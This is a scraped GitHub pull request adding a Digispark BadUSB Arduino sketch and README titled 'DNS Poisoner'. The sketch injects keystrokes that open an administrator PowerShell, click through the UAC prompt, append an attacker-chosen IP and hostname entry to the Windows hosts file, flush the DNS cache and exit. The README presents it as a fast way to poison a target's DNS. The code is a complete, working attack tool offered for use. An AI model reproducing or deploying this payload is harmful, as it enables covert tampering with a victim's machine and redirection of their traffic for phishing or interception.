Skip to content

Updated DNS_Poisoner #76

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 0 additions & 25 deletions DNS Poisoner/DNS_Poisoner.ino

This file was deleted.

31 changes: 31 additions & 0 deletions DNS_Poisoner/DNS_Poisoner.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
/*


TESTED ON WINDOWS 11


[IP ADDRESS] -> ip addres you want redirect to
[HOST NAME] -> domain you want to change
*/
#include "DigiKeyboard.h"
void setup() {}
void loop() {
//open admin powershell
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.println("Add-Content C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS \"`n[IP ADDRESS][HOST NAME]\"");
//flush dns cache
DigiKeyboard.println("ipconfig /flushdns");
//exits the terminal
DigiKeyboard.println("exit");
for(;;){ /*empty*/ }
}
13 changes: 13 additions & 0 deletions DNS_Poisoner/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
## DNS Poisoner
Fast and easy way poison target DNS

### Instructions
#### Before you start you need to change following inside the file:

[IP ADDRESS] -> ip addres you want redirect to

[HOST NAME] -> domain you want to change


___
**TESTED WINDOWS 11**